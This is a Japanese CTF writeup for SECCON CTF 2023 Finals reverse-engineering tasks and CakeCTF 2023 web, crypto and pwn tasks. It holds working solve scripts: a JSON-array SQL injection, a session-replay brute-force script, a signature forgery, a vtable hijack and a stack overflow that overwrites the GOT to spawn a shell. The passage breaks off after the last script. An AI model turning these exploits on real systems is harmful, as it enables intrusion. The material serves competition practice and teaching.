SECCON CTF 2023 Finals Writeup
2023/12/23と12/24の2日間にオンサイトで開催されたSECCON CTF 2023 FinalsのWriteupです。
Double Lariatで参加し、国内7位という結果になりました。
去年は書くタイミングを逃してしまい、Writeupを出せないまま終わったので今年はちゃんと書きました。
[rev] ReMOV
コマンドライン引数でフラグを与えると正誤を判定してくれるフラグチェッカーremov
が与えられます。
$ ./remov "SECCON{dummy}" Wrong...
Ghidraでデコンパイルすると、最初にFUN_001016e9
を呼び出して大量のmov
を実行していることが分かりました。
************************************************************** * FUNCTION * ************************************************************** undefined processEntry entry() undefined AL:1 <RETURN> entry XREF[2]: Entry Point(*), 00100018(*) 00101480 e8 64 02 CALL FUN_001016e9 undefined FUN_001016e9() 00 00 00101485 48 b8 f3 MOV RAX,0x20b004ebfa1e0ff3 0f 1e fa eb 04 b0 20 0010148f 48 b8 55 MOV RAX,-0x5cc7d41c47f814ab eb 07 b8 e3 2b 38 a3 00101499 48 b8 53 MOV RAX,0x46c54650b807eb53 eb 07 b8 50 46 c5 46 001014a3 48 b8 8b MOV RAX,-0x54ffb14efdbbb75 44 24 10 eb 04 b0 fa 001014ad 48 b8 48 MOV RAX,-0x6ffc14e7dbab72b8 8d 54 24 18 eb 03 90 001014b7 48 b8 83 MOV RAX,-0x1649bffa14fe077d f8 01 eb 05 40 b6 e9 001014c1 48 b8 7e MOV RAX,-0x78624799f9148582 7a eb 06 66 b8 9d 87 001014cb 48 b8 48 MOV RAX,-0x624ffb14f7a574b8 8b 5a 08 eb 04 b0 9d
FUN_001016e9
は、リターンアドレスに2加算したアドレスにジャンプする関数です。
************************************************************** * FUNCTION * ************************************************************** undefined FUN_001016e9() undefined AL:1 <RETURN> FUN_001016e9 XREF[1]: entry:00101480(c) 001016e9 58 POP RAX 001016ea 48 ff c0 INC RAX 001016ed 48 ff c0 INC RAX 001016f0 50 PUSH RAX 001016f1 c3 RET
静的解析してスマートに解くという選択肢もあったのですが、静的解析に集中しすぎて解くスピードが大幅に落ちてしまうことが過去に何度もあったので泥臭く動的解析することにしました。
エントリポイントにブレークポイントを設定して、si
でポチポチしていくと以下の処理を実行していることが分かりました。以下では、コマンドライン引数の第一引数をinput
と記述しています。
- コマンドライン引数が与えられているか判定する
- フラグが32文字か判定する
- inputの先頭が
SECCON{
か判定する - inputの末尾が
}
か判定する - ptraceでデバッガの検知(検知してもプログラムが終了するわけではない)
- inputを8byteずつencryptする
- 6で求めたものがencryptしたフラグと一致しているか判定する
6, 7の逆の処理を行うコードを書いてフラグを入手しました。
from Crypto.Util.number import * def wrap(x): return x & 0xffffffffffffffff def step(init): rax = init rdx = rax rax = wrap(rax << 0xd) rax = wrap(rax ^ rdx) rdx = rax rdx = wrap(rdx >> 7) rdx = wrap(rdx ^ rax) rax = rdx rax = wrap(rax << 0x11) rax = wrap(rax ^ rdx) rax &= 0xffffffffffffffff rdx &= 0xffffffffffffffff return rax ans = [0xbde671e813ba0ec4, 0xfe313878bfd3832a, 0xefe4966fa7747a84, 0xac6a45cfcc93f053] flag_parts = [b''] * 4 iv = 0x1b75f5867fda13b0 # anti-debugを回避しないと0xe48a0a798025ec50になって沼る x = step(iv) flag_parts[0] = ans[0] ^ x x = flag_parts[0] for i in range(1, 4): x = step(x) flag_parts[i] = ans[i] ^ x print(b''.join(long_to_bytes(e)[::-1] for e in flag_parts))
$ python3 rev.py
b'SECCON{y3t_4n0th3r_m0vfu5c4t0r?}'
[rev] efsbk
実行ファイルefsbk.exe
とflag.bin
が与えられます。
とりあえずGhidraでefsbk.exeをデコンパイルしてmain
関数を見に行きます。
void main(void) { uint uVar1; DWORD DVar2; BOOL BVar3; PCCERT_CONTEXT hCertStore; PCCERT_CONTEXT pCertContext; HANDLE pvVar4; BYTE *pBVar5; undefined auStackY_f8 [32]; CRYPT_DATA_BLOB local_b8; PVOID local_a8; DWORD local_a0; DWORD local_9c; WCHAR local_98 [64]; ulonglong local_18; local_18 = DAT_140005008 ^ (ulonglong)auStackY_f8; pCertContext = (PCCERT_CONTEXT)0x0; local_a8 = (PVOID)0x0; local_a0 = 0x40; local_b8 = (CRYPT_DATA_BLOB)ZEXT816(0); DAT_140005630 = CreateFileW(L"flag.bin",0x40000000,0,(LPSECURITY_ATTRIBUTES)0x0,2,0x80,(HANDLE)0x0); hCertStore = pCertContext; if (((DAT_140005630 != (HANDLE)0xffffffffffffffff) && (DVar2 = OpenEncryptedFileRawW(L"flag.txt",0,&local_a8), DVar2 == 0)) && (DVar2 = ReadEncryptedFileRaw((PFE_EXPORT_FUNC)&LAB_140001000,(PVOID)0x0,local_a8), pCertContext = (PCCERT_CONTEXT)0x0, hCertStore = (PCCERT_CONTEXT)0x0, DVar2 == 0)) { while (DAT_140005628 == 0) { Sleep(1); } GetUserNameW(local_98,&local_a0); hCertStore = (PCCERT_CONTEXT)CertOpenSystemStoreW(0,L"MY"); if (((hCertStore != (PCCERT_CONTEXT)0x0) && (pCertContext = CertFindCertificateInStore (hCertStore,1,0,0x80007,local_98,(PCCERT_CONTEXT)0x0), pCertContext != (PCCERT_CONTEXT)0x0)) && (BVar3 = PFXExportCertStoreEx(hCertStore,&local_b8,L"SECCON CTF 2023 Finals",(void *)0x0,7), BVar3 != 0)) { uVar1 = local_b8.cbData; pvVar4 = GetProcessHeap(); pBVar5 = (BYTE *)HeapAlloc(pvVar4,0,(ulonglong)uVar1); local_b8.pbData = pBVar5; BVar3 = PFXExportCertStoreEx(hCertStore,&local_b8,L"SECCON CTF 2023 Finals",(void *)0x0,7); if (BVar3 != 0) { WriteFile(DAT_140005630,local_b8.pbData,local_b8.cbData,&local_9c,(LPOVERLAPPED)0x0); } } } if (DAT_140005630 != (HANDLE)0x0) { CloseHandle(DAT_140005630); } if (local_a8 != (PVOID)0x0) { CloseEncryptedFileRaw(local_a8); } if (local_b8.pbData != (BYTE *)0x0) { pvVar4 = GetProcessHeap(); HeapFree(pvVar4,0,local_b8.pbData); } if (pCertContext != (PCCERT_CONTEXT)0x0) { CertFreeCertificateContext(pCertContext); } if (hCertStore != (PCCERT_CONTEXT)0x0) { CertCloseStore(hCertStore,0); } FUN_1400012e0(local_18 ^ (ulonglong)auStackY_f8); return; }
上のコードの処理をまとめると、主に以下の2つの処理を実行していることが分かりました。
ReadEncryptedFileRaw
でflag.txt
のバックアップflag.bin
を作成PFXExportCertStoreEx
でflag.bin
の末尾に証明書を書き込む
ReadEncryptedFileRawA
のドキュメントを読むと、Windows EFS(Encrypted File System)に関連するAPIであることが書かれています。EFSで暗号化されたファイルの復号方法が分かれば何とかなりそうです。調べてみたら以下のページが見つかりました。
このページから暗号化されたファイルの復号には以下の2つの要素が必要であることが分かります。
- 暗号化されたファイルの本体
- 証明書
flag.txtの復元
flag.bin
はReadEncryptedFileRaw
によってバックアップされたファイルであるため、元の暗号化されたファイルに復元する必要があります。復元方法について手がかりを得るためにReadEncryptedRaw
のドキュメントを詳しく読んでみると、解説の欄に以下の記述が見つかりました。
暗号化されたファイルを復元するには、ulFlags パラメーターで CREATE_FOR_IMPORTを指定して OpenEncryptedFileRaw を呼び出します。 次 に WriteEncryptedFileRaw を呼び出し、アプリケーション定義のインポート コールバック関数のアドレスを渡します。
ここに書かれていることをそのまま実行すれば、flag.txt
の復元が実現できそうです。
具体的には以下のコードを作成して、flag.txt
を復元しました。
#include <windows.h> #include <stdio.h> HANDLE hFile; DWORD callback(PBYTE pbData, PVOID pvCallbackContext, PULONG ulLength) { CHAR buf[256]; DWORD numRead; BOOL bResult; bResult = ReadFile(hFile, buf, sizeof(buf), &numRead, NULL); if (!bResult) { *ulLength = 0; return ERROR_SUCCESS; } for (int i = 0; i < numRead; i++) { pbData[i] = buf[i]; } *ulLength = numRead; return ERROR_SUCCESS; } int main() { PVOID pvContext; DWORD numWrite; hFile = CreateFileA("flag.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == NULL) { goto END; } OpenEncryptedFileRawA("flag.txt", CREATE_FOR_IMPORT,&pvContext); numWrite = WriteEncryptedFileRaw(callback, NULL, pvContext); END: if (hFile != NULL) { CloseHandle(hFile); } if (pvContext != NULL) { CloseEncryptedFileRaw(pvContext); } }
証明書の抽出
flag.bin
には復号するための証明書が含まれているはずなのですが、証明書の形式が分からないためflag.bin
をどこで区切れば良いか分かりません。
そこでPFX関係のいい感じのAPIが無いか探してみるとPFXisPFXBlob
という関数が見つかりました。この関数は、引数に渡したCRYPT_DATA_BLOB
型のデータがpfx形式でデコードできるか判定してくれる関数です。
flag.bin
の先頭から任意の位置から末尾までをCRYPT_DATA_BLOB
に書き込んでPFXisPFXBlob
で判定することで証明書の抽出を行いました。
#include <windows.h> #include <stdio.h> void savePFX(CRYPT_DATA_BLOB pfx) { HANDLE hFile; DWORD numWrite; hFile = CreateFileA("hogehoge.pfx", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WriteFile(hFile, pfx.pbData, pfx.cbData, &numWrite, NULL); CloseHandle(hFile); } int main() { HANDLE hFirstFile; WIN32_FIND_DATA wFindData; BYTE buf[8192]; CRYPT_DATA_BLOB pfx; DWORD numRead; HANDLE hFile; hFile = CreateFileA("flag.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); ReadFile(hFile, buf, sizeof(buf), &numRead, NULL); for (int i = 0; i < numRead; i++) { pfx.cbData = numRead - i; pfx.pbData = (PBYTE)buf + i; if (PFXIsPFXBlob(&pfx)) { savePFX(pfx); break; } } CloseHandle(hFile); }
最後に得られたhogehoge.pfx
をインポートしてflag.txtを開くとフラグが得られました。
SECCON{c33f407edefbda181faf764126df90cd28fa467750d25ff5aab80c1ea1108ec4}
[rev] call (upsolve)
call.exe.dmp
という名前のダンプファイルが与えられます。
とりあえずGhidraでデコンパイルしてmain
関数を見に行きます。
int __cdecl main(int _Argc,char **_Argv,char **_Env) { int result; size_t slen; uint input; char buf [32]; char input_suffix [9]; code *local_2c; code *local_28; int x; int local_20; uint k; char *buf_ptr; uint z; int y; uint j; uint i; FUN_00cf0fe0(); fwprintf_l((wchar_t *)s_FLAG:_00d3e000); result = FUN_00d0bf90((wchar_t *)&DAT_00d3e008); if ((((result == 1) && (slen = _strlen((char *)&input), slen == 0x28)) && (result = check_prefix(&input,(uint *)s_SECCON{_00d3e010,7), result == 0)) && (result = _strcmp(input_suffix,&DAT_00d3e018), result == 0)) { buf_ptr = buf; for (i = 0; i < 0x20; i = i + 1) { if ((buf_ptr[i] < '!') || ('|' < buf_ptr[i])) goto LAB_00d0beb3; } for (j = 0; j < 0x20; j = j + 1) { x = 0; y = 0; local_20 = 1; z = (int)buf_ptr[j] << 5 | j; for (k = 0; k < 0xc; k = k + 1) { local_2c = FUN_00cb1030 + (x + y + (z & 1)) * 0x20; local_28 = local_2c; (*(code *)PTR__guard_check_icall_00d24114)(); (*local_28)(); local_20 = local_20 * 2; y = y * 2 + (z & 1) * 2; z = z >> 1; x = x + local_20; } } _puts(s_Correct!_00d3e01c); result = 0; } else { LAB_00d0beb3: _puts(s_Wrong..._00d3e028); result = 1; } return result; }
最初のif文はフラグの長さとフォーマットをチェックしているだけで、for文の中身が重要です。入力されたフラグの各文字に対して、FUN_00cb1030
をベースとして動的に関数のアドレスを計算して呼び出しています。
z = (int)buf_ptr[j] << 5 | j; for (k = 0; k < 0xc; k = k + 1) { local_2c = FUN_00cb1030 + (x + y + (z & 1)) * 0x20; local_28 = local_2c; (*(code *)PTR__guard_check_icall_00d24114)(); (*local_28)();
FUN_00cb1030
はxor eax, eax
を実行するだけの関数で、同様の関数が0x10でalignされて並んでいます。
問題文の「間違ったフラグを入力するとabortする」という記述から__guard_check_icall
関数が気になります。Googleで調べてみるとControl Flow Guardというセキュリティ機構が関係していることが分かりました。これは、GuardCFFunctionTable
内に存在しない関数が呼び出されたときに強制終了させるという機構らしいです*1*2。
GhidraでFUN_00cb1030
のXREFを見ると実際のGuardCFFunctionTable
が見つかり、その中身はFUN_00cb1030
, FUN_00cb1040
, ...と関数のアドレスが並んでいます。
関数のアドレスが0x10でalignされていることから、table内の連続する2要素が指すアドレスの差が0x10でないような部分を見つけられれば、「呼び出すとabortする関数のアドレス」を見つけられそうです。
さすがに手動で見つけるのは大変なので自動化します。はじめに以下のGhidra scriptを実行してGuardCFFunctionTable
を書き出します。
with open("functable.bin", "wb") as f: f.write(getBytes(toAddr(0xd24164), 0xd374ee-0xd24164))
上の方法で「呼び出すとabortする関数のアドレス」を見つけて、フラグの各文字を総当たりで求めるとフラグが手に入りました。
import struct d = open("functable.bin", "rb").read() # アドレスの差分が0x10でないような要素を見つける addr_set = set() prev = 0x1010 for i in range(0, len(d), 5): addr = d[i:i+4] addr = struct.unpack('<I', addr)[0] if addr - prev != 0x10: addr_set.add(addr - 0x10) prev = addr # flag[idx] = cか判定する def check(c, idx): x, y, z = 0, 0, (c << 5) | idx w = 1 for k in range(0xc): addr = 0x1030 + (x + y + (z & 1)) * 0x20 if addr in addr_set: return False w = w * 2 x = w + x y = y * 2 + (z & 1) * 2 z = z >> 1 return True print("SECCON{", end="") for j in range(0x20): for i in range(ord('!'), ord('|')): if check(i, j): print(chr(i), end="") print("}")
$ python3 hoge.py SECCON{fL4g_cH3cK3r_bA5eD_0n_CFG_Ch3Ck!}
GuardCFFunctionTableの存在自体は競技時間中に気づけていたので、ちゃんと調べておけば解けていたと思います。悔しい。
感想
callを解けなかったのが非常に悔しいですが、どの問題も楽しく取り組むことができたと思います。特にdigicakeはオンサイトならではといった感じがして良かったです。運営の皆様、本当にありがとうございました。来年も決勝進出できるように精進していきたいです。
CakeCTF 2023 Writeup
2023/11/11 14:00 (JST) ~ 2023/11/12 14:00 (JST)に開催されたCakeCTF 2023のWriteupです。
個人チームmisoで参加し、968pt獲得して正の得点を獲得した729チーム中37位でした。
- [web] Country DB
- [web] TOWFL
- [crypto] simple signature
- [pwn] vtable4b
- [pwn] bofww
- [rev] nande
- [rev] Cake Puzzle
- [rev] imgchk
[web] Country DB
与えられたURLにアクセスすると、Country Codeを入力すると、それに対応した国名が表示されるサービスが表示されます。
適当にJPを入力して、Search
を押すとJapan
が表示されました。
データベースの初期化を行うinit_db.py
を見ると、フラグはCountry Codeを保存しているテーブルとは別にflag
テーブルに保存されています。
import sqlite3 import os FLAG = os.getenv("FLAG", "FakeCTF{*** REDACTED ***}") conn = sqlite3.connect("database.db") conn.execute("""CREATE TABLE country ( code TEXT NOT NULL, name TEXT NOT NULL );""") conn.execute("""CREATE TABLE flag ( flag TEXT NOT NULL );""") conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,)) # Country list from https://gist.github.com/vxnick/380904 countries = [ ('AF', 'Afghanistan'), ... ('ZW', 'Zimbabwe'), ] conn.executemany("INSERT INTO country VALUES (?, ?)", countries) conn.commit() conn.close()
app.py
を確認していきます。検索処理を行うapi_search
のcodeの検証部分に着目すると、codeの型をチェックしていない点が気になります。
@app.route('/api/search', methods=['POST']) def api_search(): req = flask.request.get_json() if 'code' not in req: flask.abort(400, "Empty country code") code = req['code'] if len(code) != 2 or "'" in code: flask.abort(400, "Invalid country code") name = db_search(code) if name is None: flask.abort(404, "No such country") return {'name': name}
また、db_search
では、codeを文字列に変換して直接クエリに埋め込んでいることがわかります。
def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") print(f"SELECT name FROM country WHERE code=UPPER('{code}')") found = cur.fetchone() return None if found is None else found[0]
以上のことから、[') UNION SELECT flag FROM flag;--', 'hoge"]
をcodeに設定したリクエストを飛ばすと、SELECT name FROM country WHERE code=UPPER('[') UNION SELECT flag FROM flag;--', hoge'')
を実行してくれます。
import requests url = "http://countrydb.2023.cakectf.com:8020/api/search" data = { "code": [") UNION SELECT flag FROM flag;--", "JP"] } res = requests.post(url, json=data) print(res.text)
$ python3 solve.py {"name":"CakeCTF{b3_c4refUl_wh3n_y0U_u5e_JS0N_1nPut}"}
[web] TOWFL
与えられたURLにアクセスし、「Start Exam」を押すとテストが始まります。
ソースコードを見ていきます。問題はセッションごとに作成され、セッションIDに対応付けて保存されています。
@app.route("/api/start", methods=['POST']) def api_start(): if 'eid' in flask.session: eid = flask.session['eid'] else: eid = flask.session['eid'] = os.urandom(32).hex() # Create new challenge set db().set(eid, json.dumps([new_challenge() for _ in range(10)])) return {'status': 'ok'}
/api/submit
に答案を提出すると、問題の正誤に合わせてデータベース中のresultsが更新されます。
@app.route("/api/submit", methods=['POST']) def api_submit(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} try: answers = flask.request.get_json() except: return {'status': 'error', 'reason': 'Invalid request.'} # Get answers eid = flask.session['eid'] challs = json.loads(db().get(eid)) if not isinstance(answers, list) \ or len(answers) != len(challs): return {'status': 'error', 'reason': 'Invalid request.'} # Check answers for i in range(len(answers)): if not isinstance(answers[i], list) \ or len(answers[i]) != len(challs[i]['answers']): return {'status': 'error', 'reason': 'Invalid request.'} for j in range(len(answers[i])): challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j] # Store information with results db().set(eid, json.dumps(challs)) return {'status': 'ok'}
得点を計算する/api/score
では、resultsに応じてスコアを計算し、満点だった場合フラグを返す処理を行っています。レスポンスを返す前にセッションの情報は消されるものの、問題の情報はデータベースから削除されていません。
@app.route("/api/score", methods=['GET']) def api_score(): if 'eid' not in flask.session: return {'status': 'error', 'reason': 'Exam has not started yet.'} # Calculate score challs = json.loads(db().get(flask.session['eid'])) score = 0 for chall in challs: for result in chall['results']: if result is True: score += 1 # Is he/she worth giving the flag? if score == 100: flag = os.getenv("FLAG") else: flag = "Get perfect score for flag" # Prevent reply attack flask.session.clear() return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
以上のことから、
/api/start
で新たにセッションを作成する。このとき、セッションの情報を保存しておく。- 答案を作成し、
/api/submit
に投げる。 /api/score
にアクセスし、点数の情報を取得する。- 1.で保存したセッションの情報をCookieにセットして2.に戻る
という手順を繰り返せば総当たりで解答を求められそうです。
import requests import time url = "http://towfl.2023.cakectf.com:8888" start_url = f"{url}/api/start" question_url = f"{url}/api/question" submit_url = f"{url}/api/submit" score_url = f"{url}/api/score" # start session s = requests.Session() res = s.post(start_url) cookies = res.cookies eid = cookies.get('session') submission = [[0 for __ in range(10)] for _ in range(10)] score = 0 for i in range(10): for j in range(10): print(f"[+] solve Q{i*10+j+1:03}") max_score, choice = -1, -1 for ans in range(4): submission[i][j] = ans s.post(submit_url, json=submission) res = s.get(score_url) s.cookies.set("session", eid) time.sleep(2) score = res.json()["data"]["score"] if score > max_score: max_score, choice = score, ans submission[i][j] = choice res = s.get(score_url) print(res.text)
$ python solve.py [+] solve Q001 [+] solve Q002 ... [+] solve Q099 [+] solve Q100 {"data":{"flag":"\"CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}\"","score":100},"status":"ok"}
[crypto] simple signature
cake_does_not_eat_cat
以外の文字列の署名と、署名の検証を行うサーバーのプログラムserver.py
が与えられます。
import os import sys from hashlib import sha512 from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD import signal flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}") p = getStrongPrime(512) g = 2 def keygen(): while True: x = getRandomRange(2, p-1) y = getRandomRange(2, p-1) w = getRandomRange(2, p-1) v = w * y % (p-1) if GCD(v, p-1) != 1: continue u = (w * x - 1) * inverse(v, p-1) % (p-1) return (x, y, u), (w, v) def sign(m, key): x, y, u = key r = getRandomRange(2, p-1) return pow(g, x*m + r*y, p), pow(g, u*m + r, p) def verify(m, sig, key): w, v = key s, t = sig return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p def h(m): return int(sha512(m.encode()).hexdigest(), 16) if __name__ == '__main__': magic_word = "cake_does_not_eat_cat" skey, vkey = keygen() print(f"p = {p}") print(f"g = {g}") print(f"vkey = {vkey}") signal.alarm(1000) while True: choice = input("[S]ign, [V]erify: ").strip() if choice == "S": message = input("message: ").strip() assert message != magic_word sig = sign(h(message), skey) print(f"(s, t) = {sig}") elif choice == "V": message = input("message: ").strip() s = int(input("s: ").strip()) t = int(input("t: ").strip()) assert 2 <= s < p assert 2 <= t < p if not verify(h(message), (s, t), vkey): print("invalid signature") continue print("verified") if message == magic_word: print(f"flag = {flag}") sys.exit(0) else: break
が与えられているので、より、を計算することでが求まります。また、の値を適当に決めることでが求まるので、の全てのパラメータを手に入れることができ、任意の文字列の署名を作成できます。
from pwn import * from hashlib import sha512 from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD import ast io = remote("crypto.2023.cakectf.com", 10444) def h(m): return int(sha512(m.encode()).hexdigest(), 16) io.recvuntil(b'=') p = int(io.recvline()) io.recvuntil(b'=') g = int(io.recvline()) io.recvuntil(b'=') w, v = ast.literal_eval(io.recvline().decode()) x = 2 y = inverse(w, p-1) * v % (p-1) u = (w*x - 1) * inverse(v, p-1) % (p-1) m = h('cake_does_not_eat_cat') r = getRandomRange(2, p-1) s = pow(g, x*m + r*y, p) t = pow(g, u*m + r, p) print("cake_does_not_eat_cat") print(s) print(t) io.interactive()
$ python3 solve.py [+] Opening connection to crypto.2023.cakectf.com on port 10444: Done [*] Switching to interactive mode verified flag = CakeCTF{does_yoshiking_eat_cake_or_cat?}
[pwn] vtable4b
指定されたサーバにアクセスするとvtableを利用したexploitのチュートリアルのようなものが始まります。
$ nc vtable4b.2023.cakectf.com 9000 Today, let's learn how to exploit C++ vtable! You're going to abuse the following C++ class: class Cowsay { public: Cowsay(char *message) : message_(message) {} char*& message() { return message_; } virtual void dialogue(); private: char *message_; }; An instance of this class is allocated in the heap: Cowsay *cowsay = new Cowsay(new char[0x18]()); You can 1. Call `dialogue` method: cowsay->dialogue(); 2. Set `message`: std::cin >> cowsay->message(); Last but not least, here is the address of `win` function which you should call to get the flag: <win> = 0x55da312c661a 1. Use cowsay 2. Change message 3. Display heap >
Cowsayのvtableにmessageのアドレスを書き込み、messageの最初の8バイトをwin関数のアドレスにすることで、Cowsay::dialogue
呼び出し時にwin関数を呼び出せます。
from pwn import * p = remote('vtable4b.2023.cakectf.com', 9000) p.recvuntil(b"<win> = ") win_addr = int(p.recvline(), 16) # get message address p.sendlineafter(b'> ', b'3') p.recvuntil(b'+------------------+\n') addr_start = int(p.recvline().split(b' ')[0], 16) message_addr = addr_start + 0x10 payload = p64(win_addr) payload += b'A' * 0x18 payload += p64(message_addr) p.sendlineafter(b'> ', b'2') p.sendlineafter(b': ', payload) p.interactive()
$ python3 solve.py [+] Opening connection to vtable4b.2023.cakectf.com on port 9000: Done [*] Switching to interactive mode 1. Use cowsay 2. Change message 3. Display heap > $ 1 [+] You're trying to use vtable at 0x55e4d7b38eb0 [+] Congratulations! Executing shell... $ $ cat /flag* CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
[pwn] bofww
入力した名前と年齢を表示するだけのプログラムbofww
とそのソースコード、Dockerfileが与えられます。
#include <iostream> void win() { std::system("/bin/sh"); } void input_person(int& age, std::string& name) { int _age; char _name[0x100]; std::cout << "What is your first name? "; std::cin >> _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; } int main() { int age; std::string name; input_person(age, name); std::cout << "Information:" << std::endl << "Age: " << age << std::endl << "Name: " << name << std::endl; return 0; } __attribute__((constructor)) void setup(void) { std::setbuf(stdin, NULL); std::setbuf(stdout, NULL); }
名前を入力する際に、304バイト以上の長い文字列を与えてやるとSegmentation fault
が発生します。
$ ./bofww What is your first name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA How old are you? 1 Segmentation fault
gdbを用いて詳しく調べるとname = _name
の部分で代入先のname
のアドレスが、入力した文字列によって上書きされていることが確認できます。
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────── RAX 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' RBX 0x0 RCX 0x7fffffffdb20 ◂— 0x1 RDX 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') *RDI 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' RSI 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') R8 0x0 ... ────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────────────────────── 0x40139b <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+139> call std::istream::operator>>(int&)@plt <std::istream::operator>>(int&)@plt> 0x4013a0 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+144> lea rdx, [rbp - 0x110] 0x4013a7 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+151> mov rax, qword ptr [rbp - 0x130] 0x4013ae <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+158> mov rsi, rdx 0x4013b1 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+161> mov rdi, rax ► 0x4013b4 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+164> call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt <std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt> rdi: 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' rsi: 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') rdx: 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') rcx: 0x7fffffffdb20 ◂— 0x1 0x4013b9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+169> mov edx, dword ptr [rbp - 0x114] 0x4013bf <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+175> mov rax, qword ptr [rbp - 0x128] 0x4013c6 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+182> mov dword ptr [rax], edx 0x4013c8 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+184> nop 0x4013c9 <input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+185> mov rax, qword ptr [rbp - 8] ─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdb50 —▸ 0x7fffffffdca0 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 01:0008│ 0x7fffffffdb58 —▸ 0x7fffffffdc9c ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 02:0010│ 0x7fffffffdb60 ◂— 0x0 03:0018│ 0x7fffffffdb68 ◂— 0x100000000 04:0020│ rdx rsi 0x7fffffffdb70 ◂— 0x4141414141414141 ('AAAAAAAA') ... ↓ 3 skipped ───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x4013b4 input_person(int&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)+164 f 1 0x4141414141414141 f 2 0x4141414141414141 f 3 0x4141414141414141 f 4 0x4141414141414141 f 5 0x4141414141414141 f 6 0x4141414141414141 f 7 0x4141414141414141 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
よって、BoFで代入処理の第一引数を「任意のアドレス」、第二引数を「任意のデータ」にすることでAAWできます。また、セキュリティ機構を確認すると、Partial RELRO
かつCanary found
となっているので__stack_chk_fail
のGOTを書き換えてwin
に飛ばせば良さそうです。
$ checksec bofww [*] '/home/miso/CakeCTF2023/bofww/bofww' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
from pwn import * elf = ELF("./bofww") debug = False if debug: p = process("./bofww") gdb.attach(p, """ b *0x4013b4 c """) else: p = remote("bofww.2023.cakectf.com", 9002) offset = 304 payload = p64(elf.symbols["_Z3winv"]) payload += b'A' * (offset - len(payload)) payload += p64(elf.got["__stack_chk_fail"]) payload += b'A' * 64 p.sendlineafter(b'? ', payload) p.sendlineafter(b'? ', b'1') p.interactive()
